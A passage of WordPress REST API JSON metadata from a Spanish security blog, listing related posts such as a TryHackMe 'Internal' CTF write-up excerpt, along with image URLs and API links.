\u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image-1.png?fit=709%2C656&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3352,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/09\/13\/tryhackme-internal-write-up\/","url_meta":{"origin":3003,"position":5},"title":"TryHackMe | Internal | Write Up","author":"david","date":"septiembre 13, 2023","format":false,"excerpt":"The realm of cybersecurity is as vast as it is intriguing, and every once in a while, a challenge comes along that truly tests our mettle as ethical hackers. Such was the case with the 'Internal' Capture The Flag (CTF) challenge on TryHackMe. Imagine being handed an environment, just weeks\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/09\/2023-09-11_11-12.png?fit=1200%2C667&ssl=1&resize=1050%2C600 3x"},"classes":[]}],"jetpack_likes_enabled":true,"jetpack_featured_media_url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1","_links":{"self":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3003","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/comments?post=3003"}],"version-history":[{"count":4,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3003\/revisions"}],"predecessor-version":[{"id":3036,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/posts\/3003\/revisions\/3036"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media\/3029"}],"wp:attachment":[{"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/media?parent=3003"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/categories?post=3003"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hardsoftsecurity.es\/index.php\/wp-json\/wp\/v2\/tags?post=3003"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}